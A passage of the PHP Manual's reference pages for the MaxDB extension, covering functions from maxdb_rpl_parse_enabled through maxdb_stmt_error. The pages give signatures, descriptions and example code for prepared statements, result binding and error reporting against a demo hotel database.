int maxdb_rpl_parse_enabled ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_rollback
maxdb_rpl_probe
MaxDB Functions


RPL probe

maxdb_rpl_parse_enabled
maxdb_rpl_query_type
MaxDB Functions
PHP Manual

maxdb_rpl_probe

(PECL maxdb >= 1.0)

maxdb_rpl_probe — RPL probe

Description

bool maxdb_rpl_probe ( resource $link )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_rpl_parse_enabled
maxdb_rpl_query_type
MaxDB Functions


Returns RPL query type

maxdb_rpl_probe
maxdb_select_db
MaxDB Functions
PHP Manual

maxdb_rpl_query_type

maxdb::rpl_query_type

(PECL maxdb >= 1.0)

maxdb_rpl_query_type -- maxdb::rpl_query_type — Returns RPL query type

Description

Procedural style

int maxdb_rpl_query_type ( resource $link )

Object oriented style

int maxdb::rpl_query_type ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_rpl_probe
maxdb_select_db
MaxDB Functions


Selects the default database for database queries

maxdb_rpl_query_type
maxdb_send_long_data
MaxDB Functions
PHP Manual

maxdb_select_db

maxdb::select_db

(PECL maxdb >= 1.0)

maxdb_select_db -- maxdb::select_db — Selects the default database for database queries

Description

bool maxdb_select_db ( resource $link , string $dbname )

The maxdb_select_db() function selects the default database (specified by the dbname parameter) to be used when performing queries against the database connection represented by the link parameter.

Note:

This function should only be used to change the default database for the connection. You can select the default database with 4th parameter in maxdb_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* return name of current default database */
if ($result = $maxdb->query("SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = $result->fetch_row();
   printf("Default database is %s.\n", $row[0]);
   $result->close();
}

/* change db to non existing db */
$maxdb->select_db("XXXXXXXX");

/* return name of current default database */
if ($result = $maxdb->query("SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = $result->fetch_row();
   printf("Default database is %s.\n", $row[0]);
   $result->close();
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* return name of current default database */
if ($result = maxdb_query($link, "SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = maxdb_fetch_row($result);
   printf("Default database is %s.\n", $row[0]);
   maxdb_free_result($result);
}

/* change db to non existing db */
maxdb_select_db($link, "XXXXXXXX");

/* return name of current default database */
if ($result = maxdb_query($link, "SELECT SERVERDB FROM USERS WHERE USERNAME='MONA'")) {
   $row = maxdb_fetch_row($result);
   printf("Default database is %s.\n", $row[0]);
   maxdb_free_result($result);
}

maxdb_close($link);
?>

The above example will output something similar to:

Default database is <...>.

Warning: maxdb_select_db(): -10709 Connection failed (RTE:database not running) <...>

Warning: maxdb_query(): -10821 Session not connected [] <...>

Warning: maxdb_close(): -10821 Session not connected [] <...>

See Also

  • maxdb_connect() - Open a new connection to the MaxDB server
  • maxdb_real_connect() - Opens a connection to a MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_rpl_query_type
maxdb_send_long_data
MaxDB Functions


Alias of maxdb_stmt_send_long_data

maxdb_select_db
maxdb_send_query
MaxDB Functions
PHP Manual

maxdb_send_long_data

(PECL maxdb >= 1.0)

maxdb_send_long_data — Alias of maxdb_stmt_send_long_data()

Description

This function is an alias of: maxdb_stmt_send_long_data().

This function alias is deprecated and only exists for backwards compatibility reasons. The use of this function is not recommended, as it may be removed from PHP in the future.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_select_db
maxdb_send_query
MaxDB Functions


Send the query and return

maxdb_send_long_data
maxdb_server_end
MaxDB Functions
PHP Manual

maxdb_send_query

maxdb::send_query

(PECL maxdb >= 1.0)

maxdb_send_query -- maxdb::send_query — Send the query and return

Description

Procedural style

bool maxdb_send_query ( resource $link , string $query )

Object oriented style

bool maxdb::send_query ( string $query )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_send_long_data
maxdb_server_end
MaxDB Functions


Shut down the embedded server

maxdb_send_query
maxdb_server_init
MaxDB Functions
PHP Manual

maxdb_server_end

(PECL maxdb >= 1.0)

maxdb_server_end — Shut down the embedded server

Description

void maxdb_server_end ( void )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_send_query
maxdb_server_init
MaxDB Functions


Initialize embedded server

maxdb_server_end
maxdb_set_opt
MaxDB Functions
PHP Manual

maxdb_server_init

(PECL maxdb >= 1.0)

maxdb_server_init — Initialize embedded server

Description

bool maxdb_server_init ([ array $server [, array $groups ]] )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_server_end
maxdb_set_opt
MaxDB Functions


Alias of maxdb_options

maxdb_server_init
maxdb_sqlstate
MaxDB Functions
PHP Manual

maxdb_set_opt

(PECL maxdb 1.0)

maxdb_set_opt — Alias of maxdb_options()

Description

This function is an alias of: maxdb_options().

User Contributed Notes

There are no user contributed notes for this page.
maxdb_server_init
maxdb_sqlstate
MaxDB Functions


Returns the SQLSTATE error from previous MaxDB operation

maxdb_set_opt
maxdb_ssl_set
MaxDB Functions
PHP Manual

maxdb_sqlstate

maxdb::sqlstate

(PECL maxdb >= 1.0)

maxdb_sqlstate -- maxdb::sqlstate — Returns the SQLSTATE error from previous MaxDB operation

Description

Procedural style

string maxdb_sqlstate ( resource $link )

Object oriented style

string $maxdb->sqlstate;

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error. The values are specified by ANSI SQL and ODBC.

Note:

Note that not all MaxDB errors are yet mapped to SQLSTATE's. The value HY000 (general error) is used for unmapped errors.

Return Values

Returns a string containing the SQLSTATE error code for the last error. The error code consists of five characters. '00000' means no error.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Table City already exists, so we should get an error */
if (!$maxdb->query("CREATE TABLE hotel.city (ID INT, Name VARCHAR(30))")) {
   printf("Error - SQLSTATE %s.\n", $maxdb->sqlstate);
}

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Table City already exists, so we should get an error */
if (!maxdb_query($link, "CREATE TABLE hotel.city (ID INT, Name VARCHAR(30))")) {
   printf("Error - SQLSTATE %s.\n", maxdb_sqlstate($link));
}

maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_query(): -6000 POS(20) Duplicate table name:CITY [I6000] <...>
Error - SQLSTATE I6000.

See Also

  • maxdb_errno() - Returns the error code for the most recent function call
  • maxdb_error() - Returns a string description of the last error

User Contributed Notes

There are no user contributed notes for this page.
maxdb_set_opt
maxdb_ssl_set
MaxDB Functions


Used for establishing secure connections using SSL

maxdb_sqlstate
maxdb_stat
MaxDB Functions
PHP Manual

maxdb_ssl_set

maxdb::ssl_set

(PECL maxdb >= 1.0)

maxdb_ssl_set -- maxdb::ssl_set — Used for establishing secure connections using SSL

Description

Procedural style

bool maxdb_ssl_set ( resource $link , string $key , string $cert , string $ca , string $capath , string $cipher )

Object oriented style

bool maxdb::ssl_set ( string $key , string $cert , string $ca , string $capath , string $cipher )
Warning

This function is currently not documented; only its argument list is available.

User Contributed Notes

There are no user contributed notes for this page.
maxdb_sqlstate
maxdb_stat
MaxDB Functions


Gets the current system status

maxdb_ssl_set
maxdb_stmt_affected_rows
MaxDB Functions
PHP Manual

maxdb_stat

maxdb::stat

(PECL maxdb >= 1.0)

maxdb_stat -- maxdb::stat — Gets the current system status

Description

Procedural style

string maxdb_stat ( resource $link )

Object oriented style

string maxdb::stat ( void )

maxdb_stat() returns a string containing several information about the MaxDB server running.

Return Values

A string describing the server status. FALSE if an error occurred.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf ("System status: %s\n", $maxdb->stat());

$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

printf("System status: %s\n", maxdb_stat($link));

maxdb_close($link);
?>

The above example will output something similar to:

System status: Kernel    7<...>

See Also

  • maxdb_get_server_info() - Returns the version of the MaxDB server

User Contributed Notes

There are no user contributed notes for this page.
maxdb_ssl_set
maxdb_stmt_affected_rows
MaxDB Functions


Returns the total number of rows changed, deleted, or inserted by the last executed statement

maxdb_stat
maxdb_stmt_bind_param
MaxDB Functions
PHP Manual

maxdb_stmt_affected_rows

maxdb_stmt::affected_rows

(PECL maxdb >= 1.0)

maxdb_stmt_affected_rows -- maxdb_stmt::affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement

Description

Procedural style

int maxdb_stmt_affected_rows ( resource $stmt )

Object oriented style

int $maxdb_stmt->affected_rows;

maxdb_stmt_affected_rows() returns the number of rows affected by INSERT, UPDATE, or DELETE query. If the last query was invalid or the number of rows can not determined, this function will return -1.

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE/DELETE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query has returned an error or the number of rows can not determined.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* create temp table */
$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");

$query = "INSERT INTO temp.mycity SELECT * FROM hotel.city WHERE state LIKE ?";

/* prepare statement */
if ($stmt = $maxdb->prepare($query)) {

   /* Bind variable for placeholder */
   $code = 'N%';
   $stmt->bind_param("s", $code);

   /* execute statement */
   $stmt->execute();

   printf("rows inserted: %d\n", $stmt->affected_rows);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* create temp table */
maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");

$query = "INSERT INTO temp.mycity SELECT * FROM hotel.city WHERE state LIKE ?";

/* prepare statement */
if ($stmt = maxdb_prepare($link, $query)) {

   /* Bind variable for placeholder */
   $code = 'N%';
   maxdb_stmt_bind_param($stmt, "s", $code);

   /* execute statement */
   maxdb_stmt_execute($stmt);

   printf("rows inserted: %d\n", maxdb_stmt_affected_rows($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

rows inserted: 4

See Also

  • maxdb_stmt_num_rows() - Return the number of rows in statements result set
  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stat
maxdb_stmt_bind_param
MaxDB Functions


Binds variables to a prepared statement as parameters

maxdb_stmt_affected_rows
maxdb_stmt_bind_result
MaxDB Functions
PHP Manual

maxdb_stmt_bind_param

maxdb_stmt::bind_param

(PECL maxdb >= 1.0)

maxdb_stmt_bind_param -- maxdb_stmt::bind_param — Binds variables to a prepared statement as parameters

Description

Procedural style

bool maxdb_stmt_bind_param ( resource $stmt , string $types , mixed &$var1 [, mixed &$... ] )

Object oriented style

bool maxdb_stmt::bind_param ( string $types , mixed &$var1 [, mixed &$... ] )

Procedural style (extended syntax):

bool maxdb_stmt_bind_param ( resource $stmt , string $types , array &$var )

Object oriented style (extended syntax):

bool maxdb_stmt::bind_param ( string $types , array &$var )

maxdb_stmt_bind_param() is used to bind variables for the parameter markers in the SQL statement that was passed to maxdb_prepare(). The string types contains one or more characters which specify the types for the corresponding bind variables.

The extended syntax of maxdb_stmt_bind_param() allows to give the parameters as an array instead of a variable list of PHP variables to the function. If the array variable has not been used before calling maxdb_stmt_bind_param(), it has to be initialized as an emtpy array. See the examples how to use maxdb_stmt_bind_param() with extended syntax.

Variables for SELECT INTO SQL statements can also be bound using maxdb_stmt_bind_param(). Parameters for database procedures can be bound using maxdb_stmt_bind_param(). See the examples how to use maxdb_stmt_bind_param() in this cases.

If a variable bound as INTO variable to an SQL statement was used before, the content of this variable is overwritten by the data of the SELECT INTO statement. A reference to this variable will be invalid after a call to maxdb_stmt_bind_param().

For INOUT parameters of database procedures the content of the bound INOUT variable is overwritten by the output value of the database procedure. A reference to this variable will be invalid after a call to maxdb_stmt_bind_param().

Type specification chars
Character | Description
i | corresponding variable has type integer
d | corresponding variable has type double
s | corresponding variable has type string
b | corresponding variable is a blob and will be sent in packages

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query ("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query ("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = $maxdb->prepare("INSERT INTO temp.mycity VALUES (?, ?, ?)");
$stmt->bind_param('sss', $zip, $name, $state);

$zip = '11111';
$name = 'Georgetown';
$state = 'NY';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

/* Clean up table CountryLanguage */
$maxdb->query("DELETE FROM temp.mycity WHERE name='Georgetown'");
printf("%d Row deleted.\n", $maxdb->affected_rows);

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query ($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query ($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = maxdb_prepare($link, "INSERT INTO temp.mycity VALUES (?, ?, ?)");
maxdb_stmt_bind_param($stmt, 'sss', $zip, $name, $state);

$zip = '11111';
$name = 'Georgetown';
$state = 'NY';

/* execute prepared statement */
maxdb_stmt_execute($stmt);

printf("%d Row inserted.\n", maxdb_stmt_affected_rows($stmt));

/* close statement and connection */
maxdb_stmt_close($stmt);

/* Clean up table CountryLanguage */
maxdb_query($link, "DELETE FROM temp.mycity WHERE name='Georgetown'");
printf("%d Row deleted.\n", maxdb_affected_rows($link));

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

1 Row inserted.
1 Row deleted.

Example #3 Procedural style (SELECT INTO)

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "SELECT price INTO ? FROM hotel.room where hno = ? and type = ?");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

$hno = "50";
$rtype = "suite";

maxdb_stmt_bind_param($stmt, 'dss', $price, $hno, $rtype);
maxdb_stmt_execute($stmt);

printf ("%f\n", $price);

maxdb_stmt_close ($stmt);
?>

The above example will output something similar to:

21.600000

Example #4 Procedural style (DB procedure)

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_report (MAXDB_REPORT_OFF);
maxdb_query($link,"DROP DBPROC test_proc");
maxdb_report (MAXDB_REPORT_ERROR);

$query = "create dbproc test_proc (INOUT e_text char(72)) AS select * from SYSDBA.DUAL; fetch into :e_text;";

maxdb_query($link, $query);

/* Performing SQL query */
$stmt = maxdb_prepare ($link, "CALL test_proc (?)");
if (!$stmt) {
  printf ("Prepare failed: %s\n", maxdb_error($link));
}

maxdb_stmt_bind_param($stmt, 's', $result);
maxdb_stmt_execute($stmt);

printf ("%s\n", $result);

maxdb_stmt_close ($stmt);
?>

The above example will output something similar to:

a

Example #5 Object oriented style (extended syntax)

<?php
$maxdb = new maxdb('localhost', 'MONA', 'RED', 'DEMODB');

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query ("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query ("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$stmt = $maxdb->prepare("INSERT INTO temp.mycity VALUES (?, ?, ?)");

$arr = array();

$stmt->bind_param('iss', $arr);

$arr[0] = 11111;
$arr[1] = 'Georgetown';
$arr[2] = 'NY';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", maxdb_stmt_affected_rows($stmt));

$arr[0] = 22222;
$arr[1] = 'New Orleans';
$arr[2] = 'LA';

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

$result = $maxdb->query("SELECT * from temp.mycity WHERE zip = '11111' OR zip = '22222'");
if ($result) {
  while ($row = $result->fetch_row()) {
    printf ("%s %s %s\n", $row[0], $row[1], $row[2]);
  }
}

/* Clean up table CountryLanguage */
$maxdb->query("DELETE FROM temp.mycity WHERE name='Georgetown'");
$maxdb->query("DELETE FROM temp.mycity WHERE name='New Orleans'");
printf("%d Rows deleted.\n", $maxdb->affected_rows);

/* close connection */
$maxdb->close();
?>

The above example will output something similar to:

1 Row inserted.
1 Row inserted.
11111 Georgetown NY
22222 New Orleans LA
2 Rows deleted.

See Also

  • maxdb_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_send_long_data() - Send data in blocks
  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_affected_rows
maxdb_stmt_bind_result
MaxDB Functions


Binds variables to a prepared statement for result storage

maxdb_stmt_bind_param
maxdb_stmt_close_long_data
MaxDB Functions
PHP Manual

maxdb_stmt_bind_result

maxdb_stmt::bind_result

(PECL maxdb >= 1.0)

maxdb_stmt_bind_result -- maxdb_stmt::bind_result — Binds variables to a prepared statement for result storage

Description

Procedural style

bool maxdb_stmt_bind_result ( resource $stmt , mixed &$var1 [, mixed &$... ] )

Object oriented style

bool maxdb_stmt::bind_result ( mixed &$var1 [, mixed &$... ] )

maxdb_stmt_bind_result() is used to associate (bind) columns in the result set to variables. When maxdb_stmt_fetch() is called to fetch data, the MaxDB client/server protocol places the data for the bound columns into the specified variables var1, ....

Note:

Note that all columns must be bound prior to calling maxdb_stmt_fetch(). Depending on column types bound variables can silently change to the corresponding PHP type.

A column can be bound or rebound at any time, even after a result set has been partially retrieved. The new binding takes effect the next time maxdb_stmt_fetch() is called.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* prepare statement */
if ($stmt = $maxdb->prepare("SELECT zip, name FROM hotel.city ORDER BY name")) {
   $stmt->execute();

   /* bind variables to prepared statement */
   $stmt->bind_result($col1, $col2);

   /* fetch values */
   while ($stmt->fetch()) {
       printf("%s %s\n", $col1, $col2);
   }

   /* close statement */
   $stmt->close();
}
/* close connection */
$maxdb->close();

?>

Example #2 Procedural style

<?php
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (!$link) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

/* prepare statement */
if ($stmt = maxdb_prepare($link, "SELECT zip, name FROM hotel.city ORDER BY name")) {
   maxdb_stmt_execute($stmt);

   /* bind variables to prepared statement */
   maxdb_stmt_bind_result($stmt, $col1, $col2);

   /* fetch values */
   while (maxdb_stmt_fetch($stmt)) {
       printf("%s %s\n", $col1, $col2);
   }

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

12203 Albany
60601 Chicago
60615 Chicago
45211 Cincinnati
33575 Clearwater
75243 Dallas
32018 Daytona Beach
33441 Deerfield Beach
48226 Detroit
90029 Hollywood
92714 Irvine
90804 Long Beach
11788 Long Island
90018 Los Angeles
70112 New Orleans
10019 New York
10580 New York
92262 Palm Springs
97213 Portland
60018 Rosemont
95054 Santa Clara
20903 Silver Spring
20005 Washington
20019 Washington
20037 Washington

See Also

  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters
  • maxdb_stmt_execute() - Executes a prepared Query
  • maxdb_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_init() - Initializes a statement and returns an resource for use with maxdb_stmt_prepare
  • maxdb_stmt_errno() - Returns the error code for the most recent statement call
  • maxdb_stmt_error() - Returns a string description for last statement error

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_bind_param
maxdb_stmt_close_long_data
MaxDB Functions


Ends a sequence of maxdb_stmt_send_long_data

maxdb_stmt_bind_result
maxdb_stmt_close
MaxDB Functions
PHP Manual

maxdb_stmt_close_long_data

maxdb_stmt::close_long_data

(PECL maxdb 1.0)

maxdb_stmt_close_long_data -- maxdb_stmt::close_long_data — Ends a sequence of maxdb_stmt_send_long_data()

Description

Procedural style

bool maxdb_stmt_close_long_data ( resource $stmt , int $param_nr )

Object oriented style

bool maxdb_stmt::close_long_data ( void )

This function has to be called after a sequence of maxdb_stmt_send_long_data(), that was started after maxdb_execute().

param_nr indicates which parameter to associate the end of data with. Parameters are numbered beginning with 0.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution
  • maxdb_stmt_bind_param() - Binds variables to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_bind_result
maxdb_stmt_close
MaxDB Functions


Closes a prepared statement

maxdb_stmt_close_long_data
maxdb_stmt_data_seek
MaxDB Functions
PHP Manual

maxdb_stmt_close

maxdb_stmt::close

(PECL maxdb >= 1.0)

maxdb_stmt_close -- maxdb_stmt::close — Closes a prepared statement

Description

Procedural style

bool maxdb_stmt_close ( resource $stmt )

Object oriented style

bool maxdb_stmt::close ( void )

Closes a prepared statement. maxdb_stmt_close() also deallocates the statement handle pointed to by stmt. If the current statement has pending or unread results, this function cancels them so that the next query can be executed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_close_long_data
maxdb_stmt_data_seek
MaxDB Functions


Seeks to an arbitray row in statement result set

maxdb_stmt_close
maxdb_stmt_errno
MaxDB Functions
PHP Manual

maxdb_stmt_data_seek

maxdb_stmt::data_seek

(PECL maxdb >= 1.0)

maxdb_stmt_data_seek -- maxdb_stmt::data_seek — Seeks to an arbitray row in statement result set

Description

Procedural style

bool maxdb_stmt_data_seek ( resource $statement , int $offset )

Object oriented style

bool maxdb_stmt::data_seek ( int $offset )

The maxdb_stmt_data_seek() function seeks to an arbitrary result pointer specified by the offset in the statement result set represented by statement. The offset parameter must be between zero and the total number of rows minus one (0..maxdb_stmt_num_rows() - 1).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* execute query */
   $stmt->execute();

   /* bind result variables */
   $stmt->bind_result($name, $code);

   /* store result */
   $stmt->store_result();

   /* seek to row no. 5 */
   $stmt->data_seek(5);

   /* fetch values */
   $stmt->fetch();

   printf ("City: %s  Zip: %s\n", $name, $code);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$query = "SELECT name, zip FROM hotel.city ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* execute query */
   maxdb_stmt_execute($stmt);

   /* bind result variables */
   maxdb_stmt_bind_result($stmt, $name, $code);

   /* store result */
   maxdb_stmt_store_result($stmt);

   /* seek to row no. 5 */
   maxdb_stmt_data_seek($stmt, 5);

   /* fetch values */
   maxdb_stmt_fetch($stmt);

   printf ("City: %s  Zip: %s\n", $name, $code);

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

City: Dallas  Zip: 75243

See Also

  • maxdb_prepare() - Prepare an SQL statement for execution

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_close
maxdb_stmt_errno
MaxDB Functions


Returns the error code for the most recent statement call

maxdb_stmt_data_seek
maxdb_stmt_error
MaxDB Functions
PHP Manual

maxdb_stmt_errno

maxdb_stmt::errno

(PECL maxdb >= 1.0)

maxdb_stmt_errno -- maxdb_stmt::errno — Returns the error code for the most recent statement call

Description

Procedural style

int maxdb_stmt_errno ( resource $stmt )

Object oriented style

int $maxdb_stmt->errno;

For the statement specified by stmt, maxdb_stmt_errno() returns the error code for the most recently invoked statement function that can succeed or fail.

Note:

For possible error codes see documentation of SQLDBC: » http://maxdb.sap.com/documentation/.

Return Values

An error code value. Zero means no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %d.\n", $stmt->errno);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

maxdb_query($link, "CREATE TABLE temp.mycity LIKE hotel.city");
maxdb_query($link, "INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = maxdb_prepare($link, $query)) {

   /* drop table */
   maxdb_query($link, "DROP TABLE temp.mycity");

   /* execute query */
   maxdb_stmt_execute($stmt);

   printf("Error: %d.\n", maxdb_stmt_errno($stmt));

   /* close statement */
   maxdb_stmt_close($stmt);
}

/* close connection */
maxdb_close($link);
?>

The above example will output something similar to:

Warning: maxdb_stmt_execute(): -4004 POS(23) Unknown table name:MYCITY [42000] <...>
Error: -4004.

See Also

  • maxdb_stmt_error() - Returns a string description for last statement error
  • maxdb_stmt_sqlstate() - Returns SQLSTATE error from previous statement operation

User Contributed Notes

There are no user contributed notes for this page.
maxdb_stmt_data_seek
maxdb_stmt_error
MaxDB Functions


Returns a string description for last statement error

maxdb_stmt_errno
maxdb_stmt_execute
MaxDB Functions
PHP Manual

maxdb_stmt_error

maxdb_stmt::error

(PECL maxdb >= 1.0)

maxdb_stmt_error -- maxdb_stmt::error — Returns a string description for last statement error

Description

Procedural style

string maxdb_stmt_error ( resource $stmt )

Object oriented style

string $maxdb_stmt->error;

For the statement specified by stmt, maxdb_stmt_error() returns a containing the error message for the most recently invoked statement function that can succeed or fail.

Return Values

A string that describes the error. An empty string if no error occurred.

Examples

Example #1 Object oriented style

<?php
/* Open a connection */
$maxdb = new maxdb("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
   exit();
}

$maxdb->query("CREATE TABLE temp.mycity LIKE hotel.city");
$maxdb->query("INSERT INTO temp.mycity SELECT * FROM hotel.city");

$query = "SELECT name, zip FROM temp.mycity ORDER BY name";
if ($stmt = $maxdb->prepare($query)) {

   /* drop table */
   $maxdb->query("DROP TABLE temp.mycity");

   /* execute query */
   $stmt->execute();

   printf("Error: %s.\n", $stmt->error);

   /* close statement */
   $stmt->close();
}

/* close connection */
$maxdb->close();
?>

Example #2 Procedural style

<?php
/* Open a connection */
$link = maxdb_connect("localhost", "MONA", "RED", "DEMODB");

/* check connection */
if (maxdb_connect_errno()) {
   printf("Connect failed: %s\n", maxdb_connect_error());
